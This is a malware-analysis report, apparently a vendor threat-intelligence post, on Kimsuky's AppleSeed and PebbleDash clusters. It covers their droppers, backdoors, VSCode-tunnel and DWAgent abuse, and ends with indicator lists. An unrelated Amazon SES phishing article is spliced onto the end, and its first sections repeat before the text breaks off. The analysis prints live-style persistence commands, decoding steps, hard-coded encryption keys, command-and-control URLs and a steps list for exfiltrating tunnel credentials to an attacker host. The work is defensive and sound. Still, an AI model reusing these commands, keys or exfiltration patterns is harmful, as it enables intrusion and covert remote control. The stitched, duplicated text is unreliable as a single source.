AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entity’s website.

Initial access

Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.

Here are some recently discovered examples:

Number	Filename	Filename (translated to English)	Detection date	MD5	Malware deployed
1	[별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse	Appendix Form No. 8 – Request for Access, Correction, Deletion, and Suspension of Processing of Personal Information (PIPA Enforcement Rules).hwp.jse	August 28, 2025	995a0a49ae4b244928b3f67e2bfd7a6e	HelloDoor
2	2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse	Documents for the Selection of Commissioned Students for Domestic Graduate School Master’s Evening Programs (H1 2026).hwpx.jse	December 14, 2025	52f1ff082e981cbdfd1f045c6021c63f	httpMalice
3	security_20260126.scr	–	January 26, 2026	65fc9f06de5603e2c1af9b4f288bb22c	Reger Dropper, MemLoad, httpTroy
4	노현정님.pdf.jse	Ms. Noh Hyun-jung.pdf.jse	January 28, 2026	8e15c4d4f71bdd9dbc48cd2cabc87806	AppleSeed chain
5	대국민서비스관리운영체계현장점검증적(초안).pif	On-site Inspection Evidence for the Public Service Management System (Draft).pif	February 5, 2026	8983ffa6da23e0b99ccc58c17b9788c7	Pidoc Dropper, HappyDoor

JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].

Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.

In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.

Deployed malware

In this section, we describe several malware families recently dropped by the droppers discussed above.

HelloDoor: first Rust-based PebbleDash variant

Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.

HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].

The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string “windows”, then computes a hash value from this information.

The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:

Command	Description
“mcd”	Set the current directory
“msleep”	Sleep for the provided time
“install”	Register the regsvr32.exe /s [the provided file path] command to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run autorun registry using the install value name
[command]	Execute the provided command using chcp 65001 > nul & cmd /U /C [command]

Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.

✅ Port is now listening (no accepting)
 ❌ Port is already in use
 🔍 regsvr32.exe detected as parent. Attempting to terminate...

This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoor’s simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.

Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:

• result send fail (grammatically incorrect text)
• server request fail (grammatically incorrect text)
• command execute failed (grammatically incorrect text)
• decrytion failed (typos)
• autorum failed (typos)

It is likely that the flawed comments were added manually before or after AI was used.

httpMalice: latest backdoor variant of PebbleDash

The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:

• (PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level – a feature also observed in PebbleDash and httpTroy.
• (PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
• (PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
• (PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
• (AppleSeed cluster) Use of the m= parameter in C2 communication.
• (AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.

Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.

The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root drive’s volume serial number with the user’s access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].

Value of elevation status	Description
0	Running under the SYSTEM account with an elevated token
1	Running under an elevated administrator account
2	Running without elevation

Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c “rundll32.exe [current DLL path], load”. The service’s display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.

The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).

httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:

Value	Description
1	Send the session identifier (parameter s) along with the current state (parameter a)
2	Request command
3	Send result after executing the command (parameter d)
8	Request directory to be archived and sent
9	Send the archived directory
10	Send a message like “.cmd” or “.tmp” (parameter d)
11	Send ping
12	Send the captured screenshot (parameter d)
13	Send the infected device information (parameter d)

As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].

The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.

After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an ‘@’ symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:

Value	Description
0	httpMalice has been activated
1	httpMalice has been inactivated (upon command 9)
2	httpMalice has been removed (upon command 8)

The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a “success!” message.

When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string “.cmd” in the d parameter.

The commands supported by httpMalice are as follows:

Command	Description
0	Do nothing
1	Execute the command with EUC-KR encoding
2	Download and extract the file to the infected device
3	Upload a directory to the C2 server after it has been archived
5	Get the current directory
6	Set the current directory
7	Execute the command without setting a EUC-KR character set
8	Remove its persistence traces and exit the process
9	Hibernate
10	Execute the command using the provided session ID
12	Capture the screen
13	Load the downloaded payload into memory

MemLoad downloads httpTroy

Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).

Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.

Below are the key operations of MemLoad:

1. Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and “.dat.cfg” extension at the current file path.
2. Generates an ID. Generates an ID value by adding either ‘A-‘ or ‘U-‘ to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with ‘A-‘ (indicating administrative privileges); otherwise, it starts with ‘U-‘.
3. Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /rl highest /f is executed. Otherwise, the task is named EdgeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /f is executed.
4. C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
5. Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.

The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].

Since Gen Digital covers httpTroy’s features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.

AppleSeed

AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.

There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory – functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.

HappyDoor

HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.

Post-exploitation

We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.

VSCode (launched by the JSE dropper)

Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victim’s device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name “bizeugene”, using the command below.

The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.

The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.

The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.

VSCode (launched by VSCode installer)

While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.

Number	Installer type	VSCode version	Download source
1	Written in JScript	VSCode CLI 1.106.3	hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/bf9252a2fb45be6893dd8870c0bf37e2e1766d61/vscode_cli_win32_x64_cli[.]zip
2	Written in Go	VSCode CLI 1.106.2	hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/1e3c50d64110be466c0b4a45222e81d2c9352888/vscode_cli_win32_x64_cli[.]zip

After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.

This is how the installer works:

1. Executes code.exe tunnel.
2. Searches for the “Microsoft Account” string in the stdout.
3. Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
4. Searches for the “use code” string in the stdout.
5. Sends the printed code for authentication, prepended with the “hxxps://github[.]com/login/device” => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
6. Searches for the “What would you like to call this machine?” string in the stdout.
7. Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
8. Searches for the “https://vscode.dev/tunnel/” string in the stdout.
9. Sends the printed URL for tunneling to the Slack WebHook.

The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attacker’s side. (The “Microsoft Account” string in the second step is not shown in this figure because the second “GitHub Account” was already selected during the process.)

Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.

An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.

DWAgent

DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.

We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.

This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:

• c:\programdata\dwagent\native\dwagsvc.exe installService
• c:\programdata\dwagent\native\dwagsvc.exe startService

The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.

The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.

{
 "enabled": true,
 "key": "kDRNGmWGTMpjQmREgQzU",
 "listen_port": 7950,
 "nodes": [
  {
   "id": "ND896147",
   "port": "443",
   "server": "node896147.dwservice[.]net"
  },
  {
   "id": "ND828765",
   "port": "443",
   "server": "node828765.dwservice[.]net"
  },
  {
   "id": "ND484265",
   "port": "443",
   "server": "node484265.dwservice[.]net"
  }
 ],
 "password": "eJwrynEqD0r294twTXLKCHWqDPLPCql0Kg/JDqpIdk4HAKYMCso=",
 "url_primary": "hxxps://www.dwservice[.]net/"
}

Infrastructure

For years, Kimsuky has relied heavily on the South Korea-based free domain hosting service 내도메인[.]한국 (pronounced as “naedomain[.]hankook) to mimic legitimate sites with domains like .p-e.kr, .o-r.kr, .n-e.kr, .r-e.kr, and .kro.kr. This service has been utilized to create C2 servers for PebbleDash and AppleSeed clusters, and the background infrastructures have been mostly resolved to the virtual private servers belonging to InterServer. It has also been noted that many other malicious actors have exploited this free domain hosting service, so it alone cannot be considered proof of a connection to Kimsuky.

The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.

Victims

We identified multiple infection logs uploaded to the Dropbox storage used for httpMalice’s C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victim’s folder contained a user.txt file with detailed information such as target details, the presence of something named “http” (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.

Below you can see an example of this type of file content. In this context, “장악” means “take over” and “있음” means “exists”.

[Target's name] [Description] [Infection date] 장악, http 있음, DWService 있음.

While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.

Attribution

Over the past few years, we have observed two clusters using overlapping distribution methods – JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.

Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.

These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation – another name for Kimsuky.

Conclusion

Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actor’s changing tactics.

Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.

Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.

Indicators of compromise

File hashes

JSE Dropper
995a0a49ae4b244928b3f67e2bfd7a6e         [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse
52f1ff082e981cbdfd1f045c6021c63f             2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse
9fe43e08c8f446554340f972dac8a68c          2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse
8e15c4d4f71bdd9dbc48cd2cabc87806         노현정님.pdf.jse

Reger Dropper
65fc9f06de5603e2c1af9b4f288bb22c                       security_20260126.scr
c19aeaedbbfc4e029f7e9bdface495b9                      secu.scr

Pidoc Dropper
8983ffa6da23e0b99ccc58c17b9788c7                      대국민서비스관리운영체계_현장점검_증적(초안).pif

AppleSeed (Dropper)
a7f0a18ac87e982d6f32f7a715e12532
f4465403f9693939fe9c439f0ab33610
5c373c2116ab4a615e622f577e22e9be

HappyDoor
d1ec20144c83bba921243e72c517da5e

MemLoad
58ac2f65e335922be3f60e57099dc8a3
f73ba062116ea9f37d072aa41c7f5108          jhsakqvv.dat

httpTroy
7e0825019d0de0c1c4a1673f94043ddb        c:\programdata\config.db

httpMalice
08160acf08fccecde7b34090db18b321
94faed9af49c98a89c8acc55e97276c9

HelloDoor
c42ae004badddd3017adadbdd1421e00

VSCode Tunnel installer
9ca5f93a732f404bbb2cee848f5bbda0                      xipbkmaw.exe

DWAgent installer
678fb1a87af525c33ba2492552d5c0e2

Domains and IPs

opedromos1.r-e[.]kr                            C2 of AppleSeed
morames.r-e[.]kr                                 C2 of AppleSeed
load.ssangyongcne.o-r[.]kr                 C2 of MemLoad
load.yju.o-r[.]kr                                   C2 of MemLoad
attach.docucloud.o-r[.]kr                    C2 of MemLoad
load.supershop.o-r[.]kr                       C2 of MemLoad
load.erasecloud.n-e[.]kr                     C2 of MemLoad

cms.spaceyou.o-r[.]kr                         C2 of HappyDoor
erp.spaceme.p-e[.]kr                          C2 of HappyDoor

file.bigcloud.n-e[.]kr                            C2 of httpTroy
load.auraria[.]org                                C2 of httpTroy

female-disorder-beta-metropolitan.trycloudflare[.]com         C2 of HelloDoor
hxxps://www.pyrotech.co[.]kr/common/include/tech/default.php      C2 of httpMalice
hxxp://newjo-imd[.]com/common/include/library/default.php            C2 of httpMalice
hxxps://www.yespp.co[.]kr/common/include/code/out.php               VSCode Tunneling using JScript

Introduction

The primary goal for attackers in a phishing campaign is to bypass email security and trick the potential victim into revealing their data. To achieve this, scammers employ a wide range of tactics, from redirect links to QR codes. Additionally, they heavily rely on legitimate sources for malicious email campaigns. Specifically, we’ve recently observed an uptick in phishing attacks leveraging Amazon SES.

The dangers of Amazon SES abuse

Amazon Simple Email Service (Amazon SES) is a cloud-based email platform designed for highly reliable transactional and marketing message delivery. It integrates seamlessly with other products in Amazon’s cloud ecosystem, AWS.

At first glance, it might seem like just another delivery channel for email phishing, but that isn’t the case. The insidious nature of Amazon SES attacks lies in the fact that attackers aren’t using suspicious or dangerous domains; instead, they are leveraging infrastructure that both users and security systems have grown to trust. These emails utilize SPF, DKIM, and DMARC authentication protocols, passing all standard provider checks, and almost always contain .amazonses.com in the Message-ID headers. Consequently, from a technical standpoint, every email sent via Amazon SES – even a phishing one – looks completely legitimate.

Phishing URLs can be masked with redirects: a user sees a link like amazonaws.com in the email and clicks it with confidence, only to be sent to a phishing site rather than a legitimate one. Amazon SES also allows for custom HTML templates, which attackers use to craft more convincing emails. Because this is legitimate infrastructure, the sender’s IP address won’t end up on reputation-based blocklists. Blocking it would restrict all incoming mail sent through Amazon SES. For major services, that kind of measure is ineffective, as it would significantly disrupt user workflows due to a massive number of false positives.

How compromise happens

In most cases, attackers gain access to Amazon SES through leaked IAM (AWS Identity and Access Management) access keys. Developers frequently leave these keys exposed in public GitHub repositories, ENV files, Docker images, configuration backups, or even in publicly accessible S3 buckets. To hunt for these IAM keys, phishers use various tools, such as automated bots based on the open-source utility TruffleHog, which is designed for detecting leaked secrets. After verifying the key’s permissions and email sending limits, attackers are equipped to spread a massive volume of phishing messages.

Examples of phishing with Amazon SES

In early 2026, one of the most common themes in phishing emails sent with Amazon SES was fake notifications from electronic signature services.

The email’s technical headers confirm that it was sent with Amazon SES. At first glance, it all looks legitimate enough.

In these emails, the victim is typically asked to click a link to review and sign a specific document.

Upon clicking the link, the user is directed to a sign-in form hosted on amazonaws.com. This can easily mislead the victim, convincing them that what they’re doing is safe.

The resulting form is, of course, a phishing page, and any data entered into it goes directly to the attackers.

Amazon SES and BEC

However, Amazon SES is used for more than just standard phishing; it’s also a vehicle for a very sophisticated type of BEC campaigns. In one case we investigated, a fraudulent email appeared to contain a series of messages exchanged between an employee of the target organization and a service provider about an outstanding invoice. The email was sent as if from that employee to the company’s finance department, requesting urgent payment.

The PDF attachments didn’t contain any malicious phishing URLs or QR codes, only payment details and supporting documentation.

Naturally, the email didn’t originate with the employee, but with an attacker impersonating them. The entire thread quoted within the email was actually fabricated, with the messages formatted to appear as a legitimate forwarded thread to a cursory glance. This type of attack aims to lower the user’s guard and trick them into transferring funds to the scammers’ account.

Takeaways

Phishing via Amazon SES experienced an uptick in January 2026 and has remained relatively steady through Q1. By weaponizing this service, attackers avoid the effort of building dubious domains and mail infrastructure from scratch. Instead, they hijack existing access keys to gain the ability to blast out thousands of phishing emails. These messages pass email authentication, originate from IP addresses that are unlikely to be blocklisted, and contain links to phishing forms that look entirely legitimate.

Since these Amazon SES phishing attacks stem from compromised or leaked AWS credentials, prioritizing the security of these accounts is critical. To mitigate these risks, we recommend following these guidelines:

• Implement the principle of least privilege when configuring IAM access keys, granting elevated permissions only to users who require them for specific tasks.
• Transition from IAM access keys to roles when configuring AWS; these are profiles with specific permissions that can be assigned to one or several users.
• Enable multi-factor authentication, an ever-relevant step.
• Configure IP-based access restrictions.
• Set up automated key rotation and run regular security audits.
• Use the AWS Key Management Service to encrypt data with unique cryptographic keys and manage them from a centralized location.

We recommend that users remain vigilant when handling email. Do not determine whether an email is safe based solely on the From field. If you receive unexpected documents via email, a prudent precaution is to verify the request with the sender through a different communication channel. Always carefully inspect where links in the body of an email actually lead. Additionally, robust email security solutions can provide an essential layer of protection for both corporate and personal correspondence.

Introduction

The primary goal for attackers in a phishing campaign is to bypass email security and trick the potential victim into revealing their data. To achieve this, scammers employ a wide range of tactics, from redirect links to QR codes. Additionally, they heavily rely on legitimate sources for malicious email campaigns. Specifically, we’ve recently observed an uptick in phishing attacks leveraging Amazon SES.

The dangers of Amazon SES abuse

Amazon Simple Email Service (Amazon SES) is a cloud-based email platform designed for highly reliable transactional and marketing message delivery. It integrates seamlessly with other products in Amazon’s cloud ecosystem, AWS.

At first glance, it might seem like just another delivery channel for email phishing, but that isn’t the case. The insidious nature of Amazon SES attacks lies in the fact that attackers aren’t using suspicious or dangerous domains; instead, they are leveraging infrastructure that both users and security systems have grown to trust. These emails utilize SPF, DKIM, and DMARC authentication protocols, passing all standard provider checks, and almost always contain .amazonses.com in the Message-ID headers. Consequently, from a technical standpoint, every email sent via Amazon SES – even a phishing one – looks completely legitimate.

Phishing URLs can be masked with redirects: a user sees a link like amazonaws.com in the email and clicks it with confidence, only to be sent to a phishing site rather than a legitimate one. Amazon SES also allows for custom HTML templates, which attackers use to craft more convincing emails. Because this is legitimate infrastructure, the sender’s IP address won’t end up on reputation-based blocklists. Blocking it would restrict all incoming mail sent through Amazon SES. For major services, that kind of measure is ineffective, as it would significantly disrupt user workflows due to a massive number of false positives.

How compromise happens

In most cases, attackers gain access to Amazon SES through leaked IAM (AWS Identity and Access Management) access keys. Developers frequently leave these keys exposed in public GitHub repositories, ENV files, Docker images, configuration backups, or even in publicly accessible S3 buckets. To hunt for these IAM keys, phishers use various tools, such as automated bots based on the open-source utility TruffleHog, which is designed for detecting leaked secrets. After verifying the key’s permissions and email sending limits, attackers are equipped to spread a massive volume of phishing messages.

Examples of phishing with Amazon SES

In early 2026, one of the most common themes in phishing emails sent with Amazon SES was fake notifications from electronic signature services.

